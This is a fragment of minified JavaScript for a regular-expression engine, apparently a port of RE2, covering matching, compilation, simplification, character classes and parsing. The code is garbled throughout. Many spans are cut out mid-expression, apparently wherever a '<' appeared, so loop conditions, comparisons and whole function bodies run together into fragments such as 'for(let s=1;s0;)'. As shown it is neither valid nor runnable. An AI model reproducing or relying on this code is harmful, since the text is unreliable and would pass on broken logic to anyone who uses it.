o=!1,c=s.step(n),u=c>>3,d=c&7,p=tn.EOF(),B=-1,h=0;c!==tn.EOF()&&(p=s.step(n+d),p!==tn.EOF()&&(B=p>>3,h=p&7));let b=n===0?Ye.emptyOpContext(-1,u):s.context(n),w=l.start,_;for(;;){switch(_=l.inst[w],w=_.out,_.op){case ge.MATCH:return a===xe.ANCHOR_BOTH&&n!==s.endPos()?null:(o=!0,r.length>0&&(r[0]=0,r[1]=n),i===0?[]:Ye.toArray(r));case ge.RUNE:if(!_.matchRune(u))return null;break;case ge.RUNE1:if(u!==_.runes[0])return null;break;case ge.RUNE_ANY:break;case ge.RUNE_ANY_NOT_NL:if(u===10)return null;break;case ge.ALT:case ge.ALT_MATCH:w=_b.next(_,u);continue;case ge.FAIL:return null;case ge.NOP:continue;case ge.EMPTY_WIDTH:if((_.arg&~b)!==0)return null;continue;case ge.CAPTURE:_.arg>3,h=p&7):(B=-1,h=0))}return o?i===0?[]:Ye.toArray(r):null}},Xe,X=(Xe=class{static isPseudoOp(e){return e>=Xe.Op.LEFT_PAREN}static emptySubs(){return[]}static quoteIfHyphen(e){return e===he.CODES.get("-")?"\\":""}static fromRegexp(e){const s=new Xe(e.op);return s.flags=e.flags,s.subs=e.subs,s.runes=e.runes,s.cap=e.cap,s.min=e.min,s.max=e.max,s.name=e.name,s.namedGroups=e.namedGroups,s.lb=e.lb,s}constructor(e){this.op=e,this.flags=0,this.subs=Xe.emptySubs(),this.runes=[],this.min=0,this.max=0,this.cap=0,this.name=null,this.namedGroups=Object.create(null),this.lb=0}reinit(){this.flags=0,this.subs=Xe.emptySubs(),this.runes=[],this.cap=0,this.min=0,this.max=0,this.name=null,this.namedGroups=Object.create(null),this.lb=0}toString(){return this.appendTo()}appendTo(){let e="";switch(this.op){case Xe.Op.NO_MATCH:e+="[^\\x00-\\x{10FFFF}]";break;case Xe.Op.EMPTY_MATCH:e+="(?:)";break;case Xe.Op.STAR:case Xe.Op.PLUS:case Xe.Op.QUEST:case Xe.Op.REPEAT:{const s=this.subs[0];switch(s.op>Xe.Op.CAPTURE||s.op===Xe.Op.LITERAL&&s.runes.length>1?e+=`(?:${s.appendTo()})`:e+=s.appendTo(),this.op){case Xe.Op.STAR:e+="*";break;case Xe.Op.PLUS:e+="+";break;case Xe.Op.QUEST:e+="?";break;case Xe.Op.REPEAT:e+=`{${this.min}`,this.min!==this.max&&(e+=",",this.max>=0&&(e+=this.max)),e+="}";break}(this.flags&xe.NON_GREEDY)!==0&&(e+="?");break}case Xe.Op.CONCAT:for(let s of this.subs)s.op===Xe.Op.ALTERNATE?e+=`(?:${s.appendTo()})`:e+=s.appendTo();break;case Xe.Op.ALTERNATE:{let s="";for(let n of this.subs)e+=s,s="|",e+=n.appendTo();break}case Xe.Op.LITERAL:(this.flags&xe.FOLD_CASE)!==0&&(e+="(?i:");for(let s of this.runes)e+=Ye.escapeRune(s);(this.flags&xe.FOLD_CASE)!==0&&(e+=")");break;case Xe.Op.ANY_CHAR_NOT_NL:e+="(?-s:.)";break;case Xe.Op.ANY_CHAR:e+="(?s:.)";break;case Xe.Op.PLB:e+=`(?<=${this.subs[0].appendTo()})`;break;case Xe.Op.NLB:e+=`(?`,this.subs[0].op!==Xe.Op.EMPTY_MATCH&&(e+=this.subs[0].appendTo()),e+=")";break;case Xe.Op.BEGIN_TEXT:e+="\\A";break;case Xe.Op.END_TEXT:(this.flags&xe.WAS_DOLLAR)!==0?e+="(?-m:$)":e+="\\z";break;case Xe.Op.BEGIN_LINE:e+="^";break;case Xe.Op.END_LINE:e+="$";break;case Xe.Op.WORD_BOUNDARY:e+="\\b";break;case Xe.Op.NO_WORD_BOUNDARY:e+="\\B";break;case Xe.Op.CHAR_CLASS:if(this.runes.length%2!==0){e+="[invalid char class]";break}if(e+="[",this.runes.length===0)e+="^\\x00-\\x{10FFFF}";else if(this.runes[0]===0&&this.runes[this.runes.length-1]===qe.MAX_RUNE){e+="^";for(let s=1;s0;){const s=e.shift();for(const n in this.next[s])if(Object.prototype.hasOwnProperty.call(this.next[s],n)){const a=this.next[s][n];let i=this.fail[s];for(;i!==0&&!(n in this.next[i]);)i=this.fail[i];n in this.next[i]?this.fail[a]=this.next[i][n]:this.fail[a]=0,this.match[a]=this.match[a]||this.match[this.fail[a]],e.push(a)}}}searchUTF16(t,e,s){let n=0;for(let a=e;a=1?Ca.fromRegexp(e.subs[0]):new Tt(Tt.Type.NONE);case X.Op.CONCAT:{const s=new Tt(Tt.Type.AND);for(const n of e.subs)s.subs.push(Ca.fromRegexp(n));return s}case X.Op.ALTERNATE:{const s=new Tt(Tt.Type.OR);for(const n of e.subs)s.subs.push(Ca.fromRegexp(n));return s}default:return new Tt(Tt.Type.NONE)}}static simplify(e){if(e.type===Tt.Type.EXACT||e.type===Tt.Type.NONE)return e;if(e.type===Tt.Type.AND){const s=[];for(const n of e.subs){const a=Ca.simplify(n);if(a.type!==Tt.Type.NONE)if(a.type===Tt.Type.AND)for(let i=0;i1&&(e.ac16=new lh(a.map(l=>{const r=[];for(let o=0;ol.bytes))),e}return e}},Rn=class{constructor(t=0,e=0){this.head=t,this.tail=e}},_S=class{constructor(){this.inst=[],this.start=0,this.numCap=2,this.lbStarts=[],this.numLb=0}getInst(t){return this.inst[t]}numInst(){return this.inst.length}addInst(t){this.inst.push(new ge(t))}skipNop(t){let e=this.inst[t];for(;e.op===ge.NOP||e.op===ge.CAPTURE;)e=this.inst[t],t=e.out;return e}prefix(){let t="",e=this.skipNop(this.start);if(!ge.isRuneOp(e.op)||e.runes.length!==1)return[e.op===ge.MATCH,t];for(;ge.isRuneOp(e.op)&&e.runes.length===1&&(e.arg&xe.FOLD_CASE)===0;)t+=String.fromCodePoint(e.runes[0]),e=this.skipNop(e.out);return[e.op===ge.MATCH,t]}startCond(){let t=0,e=this.start;e:for(;;){const s=this.inst[e];switch(s.op){case ge.EMPTY_WIDTH:t|=s.arg;break;case ge.FAIL:return-1;case ge.CAPTURE:case ge.NOP:break;default:break e}e=s.out}return t}patch(t,e){let s=t.head;for(;s!==0;){const n=this.inst[s>>1];(s&1)===0?(s=n.out,n.out=e):(s=n.arg,n.arg=e)}}append(t,e){if(t.head===0)return e;if(e.head===0)return t;const s=this.inst[t.tail>>1];return(t.tail&1)===0?s.out=e.head:s.arg=e.head,new Rn(t.head,e.tail)}toString(){let t="";for(let e=0;ethis.prog.numLb&&(this.prog.numLb=Math.abs(s)),r.out=new Rn(r.i<<1,r.i<<1),r}compile(e){switch(e.op){case X.Op.NO_MATCH:return this.fail();case X.Op.EMPTY_MATCH:return this.nop();case X.Op.LITERAL:if(e.runes.length===0)return this.nop();{let s=null;for(let n of e.runes){const a=this.rune([n],e.flags);s=s===null?a:this.cat(s,a)}return s}case X.Op.CHAR_CLASS:return this.rune(e.runes,e.flags);case X.Op.ANY_CHAR_NOT_NL:return this.rune(dl.ANY_RUNE_NOT_NL(),0);case X.Op.ANY_CHAR:return this.rune(dl.ANY_RUNE(),0);case X.Op.BEGIN_LINE:return this.empty(Ye.EMPTY_BEGIN_LINE);case X.Op.END_LINE:return this.empty(Ye.EMPTY_END_LINE);case X.Op.BEGIN_TEXT:return this.empty(Ye.EMPTY_BEGIN_TEXT);case X.Op.END_TEXT:return this.empty(Ye.EMPTY_END_TEXT);case X.Op.WORD_BOUNDARY:return this.empty(Ye.EMPTY_WORD_BOUNDARY);case X.Op.NO_WORD_BOUNDARY:return this.empty(Ye.EMPTY_NO_WORD_BOUNDARY);case X.Op.PLB:case X.Op.NLB:return this.lookBehind(this.compile(e.subs[0]),e.lb);case X.Op.CAPTURE:{const s=this.cap(e.cap<<1),n=this.compile(e.subs[0]),a=this.cap(e.cap<<1|1);return this.cat(this.cat(s,n),a)}case X.Op.STAR:return this.star(this.compile(e.subs[0]),(e.flags&xe.NON_GREEDY)!==0);case X.Op.PLUS:return this.plus(this.compile(e.subs[0]),(e.flags&xe.NON_GREEDY)!==0);case X.Op.QUEST:return this.quest(this.compile(e.subs[0]),(e.flags&xe.NON_GREEDY)!==0);case X.Op.CONCAT:if(e.subs.length===0)return this.nop();{let s=null;for(let n of e.subs){const a=this.compile(n);s=s===null?a:this.cat(s,a)}return s}case X.Op.ALTERNATE:if(e.subs.length===0)return this.nop();{let s=null;for(let n of e.subs){const a=this.compile(n);s=s===null?a:this.alt(s,a)}return s}default:throw new oS("regexp: unhandled case in compile")}}},kS=class xn{static simplify(e){if(e===null)return null;switch(e.op){case X.Op.PLB:case X.Op.NLB:case X.Op.CAPTURE:{const s=xn.simplify(e.subs[0]);if(s!==e.subs[0]){const n=X.fromRegexp(e);return n.runes=[],n.subs=[s],n}return e}case X.Op.CONCAT:case X.Op.ALTERNATE:{const s=[];let n=!1;for(let a=0;a0){n=[];for(let a=0;ae.min){let a=xn.simplify1(X.Op.QUEST,e.flags,s,null);for(let i=e.min+1;i0&&(n+=" ");const i=e[a],l=e[a+1];i===l?n+=`0x${i.toString(16)}`:n+=`0x${i.toString(16)}-0x${l.toString(16)}`}return n+="]",n}static cmp(e,s,n,a){const i=e[s]-n;return i!==0?i:a-e[s+1]}static qsortIntPair(e,s,n){const a=((s+n)/2|0)&-2,i=e[a],l=e[a+1];let r=s,o=n;for(;r<=o;){for(;rs&&ni.cmp(e,o,i,l)>0;)o-=2;if(r<=o){if(r!==o){let c=e[r];e[r]=e[o],e[o]=c,c=e[r+1],e[r+1]=e[o+1],e[o+1]=c}r+=2,o-=2}}sthis.r[e-1]&&(this.r[e-1]=a);continue}this.r[e]=n,this.r[e+1]=a,e+=2}return this.len=e,this}appendLiteral(e,s){return(s&xe.FOLD_CASE)!==0?this.appendFoldedRange(e,e):this.appendRange(e,e)}appendRange(e,s){if(this.len>0){for(let n=2;n<=4;n+=2)if(this.len>=n){const a=this.r[this.len-n],i=this.r[this.len-n+1];if(e<=i+1&&a<=s+1)return ei&&(this.r[this.len-n+1]=s),this}}return this.r[this.len++]=e,this.r[this.len++]=s,this}appendFoldedRange(e,s){if(e<=qe.MIN_FOLD&&s>=qe.MAX_FOLD)return this.appendRange(e,s);if(sqe.MAX_FOLD)return this.appendRange(e,s);eqe.MAX_FOLD&&(this.appendRange(qe.MAX_FOLD+1,s),s=qe.MAX_FOLD);for(let n=e;n<=s;n++){this.appendRange(n,n);for(let a=qe.simpleFold(n);a!==n;a=qe.simpleFold(a))this.appendRange(a,a)}return this}appendClass(e){for(let s=0;sqe.MAX_FOLD)return e;let s=e;const n=e;for(e=qe.simpleFold(e);e!==n;e=qe.simpleFold(e))s>e&&(s=e);return s}static leadingRegexp(e){if(e.op===X.Op.EMPTY_MATCH)return null;if(e.op===X.Op.CONCAT&&e.subs.length>0){const s=e.subs[0];return s.op===X.Op.EMPTY_MATCH?null:s}return e}static literalRegexp(e,s){const n=new X(X.Op.LITERAL);return n.flags=s,n.runes=Ye.stringToRunes(e),n}static parse(e,s){return new Ne(e,s).parseInternal()}static parseRepeat(e){const s=e.pos();if(!e.more()||!e.lookingAt("{"))return-1;e.skip(1);const n=Ne.parseInt(e);if(n===-1||!e.more())return-1;let a;if(!e.lookingAt(","))a=n;else{if(e.skip(1),!e.more())return-1;if(e.lookingAt("}"))a=-1;else if((a=Ne.parseInt(e))===-1)return-1}if(!e.more()||!e.lookingAt("}"))return-1;if(e.skip(1),n<0||n>1e3||a===-2||a>1e3||a>=0&&n>a)throw new zt(Ne.ERR_INVALID_REPEAT_SIZE,e.from(s));return n<<16|a&qe.MAX_BMP}static isValidCaptureName(e){if(e.length===0)return!1;for(let s=0;s=he.CODES.get("0")&&e.peek()<=he.CODES.get("9");)e.skip(1);const n=e.from(s);return n.length===0||n.length>1&&n.codePointAt(0)===he.CODES.get("0")?-1:n.length>8?-2:parseInt(n,10)}static isCharClass(e){return e.op===X.Op.LITERAL&&e.runes.length===1||e.op===X.Op.CHAR_CLASS||e.op===X.Op.ANY_CHAR_NOT_NL||e.op===X.Op.ANY_CHAR}static matchRune(e,s){switch(e.op){case X.Op.LITERAL:return e.runes.length===1&&e.runes[0]===s;case X.Op.CHAR_CLASS:for(let n=0;nhe.CODES.get("7"))break;case he.CODES.get("0"):{let a=n-he.CODES.get("0");for(let i=1;i<3&&!(!e.more()||e.peek()he.CODES.get("7"));i++)a=a*8+e.peek()-he.CODES.get("0"),e.skip(1);return a}case he.CODES.get("x"):{if(!e.more())break;if(n=e.pop(),n===he.CODES.get("{")){let l=0,r=0;for(;;){if(!e.more())break e;if(n=e.pop(),n===he.CODES.get("}"))break;const o=Ye.unhex(n);if(o<0||(r=r*16+o,r>qe.MAX_RUNE))break e;l++}if(l===0)break e;return r}const a=Ye.unhex(n);if(!e.more())break;n=e.pop();const i=Ye.unhex(n);if(a<0||i<0)break;return a*16+i}case he.CODES.get("a"):return he.CODES.get("\x07");case he.CODES.get("f"):return he.CODES.get("\f");case he.CODES.get("n"):return he.CODES.get(` +`);case he.CODES.get("r"):return he.CODES.get("\r");case he.CODES.get("t"):return he.CODES.get(" ");case he.CODES.get("v"):return he.CODES.get("\v");default:if(n<=qe.MAX_ASCII&&!Ye.isalnum(n))return n;break}throw new zt(Ne.ERR_INVALID_ESCAPE,e.from(s))}static parseClassChar(e,s){if(!e.more())throw new zt(Ne.ERR_MISSING_BRACKET,e.from(s));return e.lookingAt("\\")?Ne.parseEscape(e):e.pop()}static concatRunes(e,s){for(let n=0;n0?(this.free=s.subs[0],s.reinit(),s.op=e):(s=new X(e),this.numRegexp+=1),s}reuse(e){this.height!==null&&this.height.has(e)&&this.height.delete(e),e.subs!==null&&e.subs.length>0&&(e.subs[0]=this.free),this.free=e}checkLimits(e){if(this.numRunes>Ne.MAX_RUNES)throw new zt(Ne.ERR_LARGE);this.checkSize(e),this.checkHeight(e)}checkSize(e){if(this.size===null){if(this.repeats===0&&(this.repeats=1),e.op===X.Op.REPEAT){let s=e.max;s===-1&&(s=e.min),s<=0&&(s=1),s>Math.floor(Ne.MAX_SIZE/this.repeats)?this.repeats=Ne.MAX_SIZE:this.repeats*=s}if(this.numRegexpNe.MAX_SIZE)throw new zt(Ne.ERR_LARGE)}calcSize(e,s=!1){if(!s&&this.size!==null&&this.size.has(e))return this.size.get(e);let n=0;switch(e.op){case X.Op.LITERAL:n=e.runes.length;break;case X.Op.PLB:case X.Op.NLB:case X.Op.CAPTURE:case X.Op.STAR:n=2+this.calcSize(e.subs[0]);break;case X.Op.PLUS:case X.Op.QUEST:n=1+this.calcSize(e.subs[0]);break;case X.Op.CONCAT:for(let a of e.subs)n=n+this.calcSize(a);break;case X.Op.ALTERNATE:for(let a of e.subs)n=n+this.calcSize(a);e.subs.length>1&&(n=n+e.subs.length-1);break;case X.Op.REPEAT:{let a=this.calcSize(e.subs[0]);if(e.max===-1){e.min===0?n=2+a:n=1+e.min*a;break}n=e.max*a+(e.max-e.min);break}}return n=Math.max(1,n),this.size===null&&(this.size=new Map),this.size.set(e,n),n}checkHeight(e){if(!(this.numRegexpNe.MAX_HEIGHT)throw new zt(Ne.ERR_NESTING_DEPTH)}}calcHeight(e,s=!1){if(!s&&this.height!==null&&this.height.has(e))return this.height.get(e);let n=1;for(let a of e.subs){const i=this.calcHeight(a);n<1+i&&(n=1+i)}return this.height===null&&(this.height=new Map),this.height.set(e,n),n}pop(){return this.stack.pop()}popToPseudo(){const e=this.stack.length;let s=e;for(;s>0&&!X.isPseudoOp(this.stack[s-1].op);)s--;const n=this.stack.slice(s,e);return this.stack=this.stack.slice(0,s),n}push(e){if(this.numRunes+=e.runes.length,e.op===X.Op.CHAR_CLASS&&e.runes.length===2&&e.runes[0]===e.runes[1]){if(this.maybeConcat(e.runes[0],this.flags&-2))return null;e.op=X.Op.LITERAL,e.runes=[e.runes[0]],e.flags=this.flags&-2}else if(e.op===X.Op.CHAR_CLASS&&e.runes.length===4&&e.runes[0]===e.runes[1]&&e.runes[2]===e.runes[3]&&qe.simpleFold(e.runes[0])===e.runes[2]&&qe.simpleFold(e.runes[2])===e.runes[0]||e.op===X.Op.CHAR_CLASS&&e.runes.length===2&&e.runes[0]+1===e.runes[1]&&qe.simpleFold(e.runes[0])===e.runes[1]&&qe.simpleFold(e.runes[1])===e.runes[0]){if(this.maybeConcat(e.runes[0],this.flags|xe.FOLD_CASE))return null;e.op=X.Op.LITERAL,e.runes=[e.runes[0]],e.flags=this.flags|xe.FOLD_CASE}else this.maybeConcat(-1,0);return this.stack.push(e),this.checkLimits(e),e}maybeConcat(e,s){const n=this.stack.length;if(n<2)return!1;const a=this.stack[n-1],i=this.stack[n-2];return a.op!==X.Op.LITERAL||i.op!==X.Op.LITERAL||(a.flags&xe.FOLD_CASE)!==(i.flags&xe.FOLD_CASE)?!1:(i.runes=Ne.concatRunes(i.runes,a.runes),e>=0?(a.runes=[e],a.flags=s,!0):(this.pop(),this.reuse(a),!1))}newLiteral(e,s){const n=this.newRegexp(X.Op.LITERAL);return n.flags=s,(s&xe.FOLD_CASE)!==0&&(e=Ne.minFoldRune(e)),n.runes=[e],n}literal(e){this.push(this.newLiteral(e,this.flags))}op(e){const s=this.newRegexp(e);return s.flags=this.flags,this.push(s)}repeat(e,s,n,a,i,l){let r=this.flags;if((r&xe.PERL_X)!==0&&(i.more()&&i.lookingAt("?")&&(i.skip(1),r^=xe.NON_GREEDY),l!==-1))throw new zt(Ne.ERR_INVALID_REPEAT_OP,i.from(l));const o=this.stack.length;if(o===0)throw new zt(Ne.ERR_MISSING_REPEAT_ARGUMENT,i.from(a));const c=this.stack[o-1];if(X.isPseudoOp(c.op))throw new zt(Ne.ERR_MISSING_REPEAT_ARGUMENT,i.from(a));const u=this.newRegexp(e);if(u.min=s,u.max=n,u.flags=r,u.subs=[c],this.stack[o-1]=u,this.checkLimits(u),e===X.Op.REPEAT&&(s>=2||n>=2)&&!this.repeatIsValid(u,1e3))throw new zt(Ne.ERR_INVALID_REPEAT_SIZE,i.from(a))}repeatIsValid(e,s){if(e.op===X.Op.REPEAT){let n=e.max;if(n===0)return!0;if(n<0&&(n=e.min),n>s)return!1;n>0&&(s=Math.trunc(s/n))}for(let n of e.subs)if(!this.repeatIsValid(n,s))return!1;return!0}concat(){this.maybeConcat(-1,0);const e=this.popToPseudo();return e.length===0?this.push(this.newRegexp(X.Op.EMPTY_MATCH)):this.push(this.collapse(e,X.Op.CONCAT))}alternate(){const e=this.popToPseudo();return e.length>0&&this.cleanAlt(e[e.length-1]),e.length===0?this.push(this.newRegexp(X.Op.NO_MATCH)):this.push(this.collapse(e,X.Op.ALTERNATE))}cleanAlt(e){e.op===X.Op.CHAR_CLASS&&(e.runes=new Xa(e.runes).cleanClass().toArray(),e.runes.length===2&&e.runes[0]===0&&e.runes[1]===qe.MAX_RUNE?(e.runes=[],e.op=X.Op.ANY_CHAR):e.runes.length===4&&e.runes[0]===0&&e.runes[1]===he.CODES.get(` +`)-1&&e.runes[2]===he.CODES.get(` +`)+1&&e.runes[3]===qe.MAX_RUNE&&(e.runes=[],e.op=X.Op.ANY_CHAR_NOT_NL))}collapse(e,s){if(e.length===1)return e[0];let n=0;for(let r of e)n+=r.op===s?r.subs.length:1;let a=new Array(n).fill(null),i=0;for(let r of e)if(r.op===s){for(let o=0;o0&&(h=h.subs[0]),h.op===X.Op.LITERAL&&(d=h.runes,p=h.runes.length,B=h.flags&xe.FOLD_CASE),B===r){let b=0;for(;b0){l=b;continue}}}if(u!==o)if(u===o+1)e[a++]=e[s+o];else{const h=this.newRegexp(X.Op.LITERAL);h.flags=r,h.runes=i.slice(0,l);for(let _=o;_0){const n=this.removeLeadingString(e.subs[0],s);if(e.subs[0]=n,n.op===X.Op.EMPTY_MATCH)switch(this.reuse(n),e.subs.length){case 0:case 1:e.op=X.Op.EMPTY_MATCH,e.subs=X.emptySubs();break;case 2:{const a=e;e=e.subs[1],this.reuse(a);break}default:e.subs=e.subs.slice(1,e.subs.length);break}return e}return e.op===X.Op.LITERAL&&(e.runes=e.runes.slice(s,e.runes.length),e.runes.length===0&&(e.op=X.Op.EMPTY_MATCH)),e}removeLeadingRegexp(e,s){if(e.op===X.Op.CONCAT&&e.subs.length>0){switch(s&&this.reuse(e.subs[0]),e.subs=e.subs.slice(1,e.subs.length),e.subs.length){case 0:e.op=X.Op.EMPTY_MATCH,e.subs=X.emptySubs();break;case 1:{const n=e;e=e.subs[0],this.reuse(n);break}}return e}return s&&this.reuse(e),this.newRegexp(X.Op.EMPTY_MATCH)}parseInternal(){if((this.flags&xe.LITERAL)!==0)return Ne.literalRegexp(this.wholeRegexp,this.flags);let e=-1,s=-1,n=-1;const a=new DS(this.wholeRegexp);for(;a.more();){let i=-1;e:switch(a.peek()){case he.CODES.get("("):if((this.flags&xe.LOOKBEHIND)!==0){if(a.lookingAt("(?<=")){this.parsePosLookBehind(),a.skip(4);break}if(a.lookingAt("(?>16,n=(l&qe.MAX_BMP)<<16>>16,this.repeat(X.Op.REPEAT,s,n,i,a,e);break}case he.CODES.get("\\"):{const l=a.pos();if(a.skip(1),(this.flags&xe.PERL_X)!==0&&a.more())switch(a.pop()){case he.CODES.get("A"):this.op(X.Op.BEGIN_TEXT);break e;case he.CODES.get("b"):this.op(X.Op.WORD_BOUNDARY);break e;case he.CODES.get("B"):this.op(X.Op.NO_WORD_BOUNDARY);break e;case he.CODES.get("C"):throw new zt(Ne.ERR_INVALID_ESCAPE,"\\C");case he.CODES.get("Q"):{let c=a.rest();const u=c.indexOf("\\E");u>=0?(c=c.substring(0,u),a.skipString(c),a.skipString("\\E")):a.skipString(c);let d=0;for(;d");if(o<0)throw new zt(Ne.ERR_INVALID_NAMED_CAPTURE,n);const c=n.substring(r,o);if(e.skipString(c),e.skip(r+1),!Ne.isValidCaptureName(c))throw new zt(Ne.ERR_INVALID_NAMED_CAPTURE,n.substring(0,o+1));const u=this.op(X.Op.LEFT_PAREN);if(u.cap=++this.numCap,this.namedGroups[c])throw new zt(Ne.ERR_DUPLICATE_NAMED_CAPTURE,c);this.namedGroups[c]=this.numCap,u.name=c;return}e.skip(2);let a=this.flags,i=1,l=!1;e:for(;e.more();){const r=e.pop();switch(r){case he.CODES.get("i"):a|=xe.FOLD_CASE,l=!0;break;case he.CODES.get("m"):a&=-17,l=!0;break;case he.CODES.get("s"):a|=xe.DOT_NL,l=!0;break;case he.CODES.get("U"):a|=xe.NON_GREEDY,l=!0;break;case he.CODES.get("-"):if(i<0)break e;i=-1,a=~a,l=!1;break;case he.CODES.get(":"):case he.CODES.get(")"):if(i<0){if(!l)break e;a=~a}r===he.CODES.get(":")&&this.op(X.Op.LEFT_PAREN),this.flags=a;return;default:break e}}throw new zt(Ne.ERR_INVALID_PERL_OP,e.from(s))}parsePosLookBehind(){const e=this.newRegexp(X.Op.LEFT_PAREN);return e.flags=this.flags,e.lb=++this.nlb,this.push(e)}parseNegLookBehind(){const e=this.newRegexp(X.Op.LEFT_PAREN);return e.flags=this.flags,e.lb=-++this.nlb,this.push(e)}parseVerticalBar(){this.concat(),this.swapVerticalBar()||this.op(X.Op.VERTICAL_BAR)}swapVerticalBar(){const e=this.stack.length;if(e>=3&&this.stack[e-2].op===X.Op.VERTICAL_BAR&&Ne.isCharClass(this.stack[e-1])&&Ne.isCharClass(this.stack[e-3])){let s=this.stack[e-1],n=this.stack[e-3];if(s.op>n.op){const a=n;n=s,s=a,this.stack[e-3]=n}return Ne.mergeCharClass(n,s),this.reuse(s),this.pop(),!0}if(e>=2){const s=this.stack[e-1],n=this.stack[e-2];if(n.op===X.Op.VERTICAL_BAR)return e>=3&&this.cleanAlt(this.stack[e-3]),this.stack[e-2]=s,this.stack[e-1]=n,!0}return!1}parseRightParen(){if(this.concat(),this.swapVerticalBar()&&this.pop(),this.alternate(),this.stack.length<2)throw new zt(Ne.ERR_UNEXPECTED_PAREN,this.wholeRegexp);const e=this.pop(),s=this.pop();if(s.op!==X.Op.LEFT_PAREN)throw new zt(Ne.ERR_UNEXPECTED_PAREN,this.wholeRegexp);if(this.flags=s.flags,s.lb!==0){if(Ne.hasCapture(e))throw new zt(Ne.ERR_INVALID_CAPTURE_IN_LOOKBEHIND,this.wholeRegexp);s.lb>0?s.op=X.Op.PLB:s.op=X.Op.NLB,s.subs=[e],this.push(s);return}s.cap===0?this.push(e):(s.op=X.Op.CAPTURE,s.subs=[e],this.push(s))}parsePerlClassEscape(e,s){const n=e.pos();if((this.flags&xe.PERL_X)===0||!e.more()||e.pop()!==he.CODES.get("\\")||!e.more())return!1;e.pop();const a=e.from(n),i=uh.has(a)?uh.get(a):null;return i===null?!1:(s.appendGroup(i,(this.flags&xe.FOLD_CASE)!==0),!0)}parseNamedClass(e,s){const n=e.rest(),a=n.indexOf(":]");if(a<0)return!1;const i=n.substring(0,a+2);e.skipString(i);const l=Eh.has(i)?Eh.get(i):null;if(l===null)throw new zt(Ne.ERR_INVALID_CHAR_RANGE,i);return s.appendGroup(l,(this.flags&xe.FOLD_CASE)!==0),!0}parseUnicodeClass(e,s){const n=e.pos();if((this.flags&xe.UNICODE_GROUPS)===0||!e.lookingAt("\\p")&&!e.lookingAt("\\P"))return!1;e.skip(1);let a=1,i=e.pop();if(i===he.CODES.get("P")&&(a=-1),!e.more())throw e.rewindTo(n),new zt(Ne.ERR_INVALID_CHAR_RANGE,e.rest());i=e.pop();let l;if(i!==he.CODES.get("{"))l=Ye.runeToString(i);else{const u=e.rest(),d=u.indexOf("}");if(d<0)throw e.rewindTo(n),new zt(Ne.ERR_INVALID_CHAR_RANGE,e.rest());l=u.substring(0,d),e.skipString(l),e.skip(1)}l.length!==0&&l.codePointAt(0)===he.CODES.get("^")&&(a=0-a,l=l.substring(1));const r=Ne.unicodeTable(l);if(r===null)throw new zt(Ne.ERR_INVALID_CHAR_RANGE,e.from(n));r.sign<0&&(a=0-a);const o=r.tab,c=r.fold;if((this.flags&xe.FOLD_CASE)===0||c===null)s.appendTableWithSign(o,a);else{const u=new Xa().appendTable(o).appendTable(c).cleanClass().toArray();s.appendClassWithSign(u,a)}return!0}parseClass(e){const s=e.pos();e.skip(1);const n=this.newRegexp(X.Op.CHAR_CLASS);n.flags=this.flags;const a=new Xa;let i=1;e.more()&&e.lookingAt("^")&&(i=-1,e.skip(1),(this.flags&xe.CLASS_NL)===0&&a.appendRange(he.CODES.get(` +`),he.CODES.get(` +`)));let l=!0;for(;!e.more()||e.peek()!==he.CODES.get("]")||l;){if(e.more()&&e.lookingAt("-")&&(this.flags&xe.PERL_X)===0&&!l){const u=e.rest();if(u==="-"||!u.startsWith("-]"))throw e.rewindTo(s),new zt(Ne.ERR_INVALID_CHAR_RANGE,e.rest())}l=!1;const r=e.pos();if(e.lookingAt("[:")){if(this.parseNamedClass(e,a))continue;e.rewindTo(r)}if(this.parseUnicodeClass(e,a)||this.parsePerlClassEscape(e,a))continue;e.rewindTo(r);const o=Ne.parseClassChar(e,s);let c=o;if(e.more()&&e.lookingAt("-")){if(e.skip(1),e.more()&&e.lookingAt("]"))e.skip(-1);else if(c=Ne.parseClassChar(e,s),c0&&(o.prefixRune=o.prefix.codePointAt(0)),o.namedGroups=a.namedGroups,o}static match(e,s){return ki.compile(e).match(s)}constructor(e,s,n=0,a=0){this.expr=e,this.prog=s,this.numSubexp=n,this.longest=a,this.cond=s.startCond(),this.prefix=null,this.prefixUTF8=null,this.prefixComplete=!1,this.prefixRune=0,this.machinePool=[],this.dfa=new fS(this.prog),this.onepass=ih.compile(this.prog),this.prefilter=null}matchPrefixComplete(e,s,n,a){if((n===xe.ANCHOR_START||n===xe.ANCHOR_BOTH)&&s!==0)return null;let i=-1,l=-1;const r=e.prefixLength(this);if(n===xe.UNANCHORED){const o=e.index(this,s);if(o<0)return null;i=s+o,l=i+r}else if(n===xe.ANCHOR_BOTH){if(e.endPos()!==r||e.index(this,0)!==0)return null;i=0,l=r}else if(n===xe.ANCHOR_START){if(e.index(this,0)!==0)return null;i=0,l=r}if(i<0)return null;if(a>0){const o=new Int32Array(a).fill(-1);return o[0]=i,o[1]=l,Array.from(o)}return[]}executeEngine(e,s,n,a){if(this.prefixComplete&&(a===0||this.numSubexp===0))return this.matchPrefixComplete(e,s,n,a);if(this.prefilter!==null&&n===xe.UNANCHORED&&!this.prefilter.eval(e,s))return null;if(this.onepass!==null)return ih.execute(this,e,s,n,a);if(a>0)return this.prog.numLb===0&&e.endPos()<=Po.maxBitStateLen(this.prog)?Po.execute(this,e,s,n,a):this.doExecuteNFA(e,s,n,a);if(this.prog.numLb===0){const i=this.dfa.match(e,s,n);if(i!==null)return i?[]:null;if(e.endPos()<=Po.maxBitStateLen(this.prog))return Po.execute(this,e,s,n,a)}return this.doExecuteNFA(e,s,n,a)}numberOfCapturingGroups(){return this.numSubexp}numberOfInstructions(){return this.prog.numInst()}get(){return this.machinePool.length>0?this.machinePool.pop():null}reset(){this.machinePool.length=0}put(e){this.machinePool.push(e)}toString(){return this.expr}doExecuteNFA(e,s,n,a){let i=this.get();i||(i=uS.fromRE2(this)),i.init(a);const l=i.match(e,s,n)?i.submatches():null;return this.put(i),l}match(e){return this.executeEngine(Qt.fromUTF16(e),0,xe.UNANCHORED,0)!==null}matchWithGroup(e,s,n,a,i){return e instanceof $i||(Ye.isByteArray(e)?e=Ii.utf8(e):e=Ii.utf16(e)),this.matchMachineInput(e,s,n,a,i)}matchMachineInput(e,s,n,a,i){if(s>n)return[!1,null];const l=e.isUTF16Encoding()?Qt.fromUTF16(e.asCharSequence(),0,n):Qt.fromUTF8(e.asBytes(),0,n),r=this.executeEngine(l,s,a,2*i);return r===null?[!1,null]:[!0,r]}matchUTF8(e){return this.executeEngine(Qt.fromUTF8(e),0,xe.UNANCHORED,0)!==null}replaceAll(e,s){return this.replaceAllFunc(e,()=>s,2*e.length+1)}replaceFirst(e,s){return 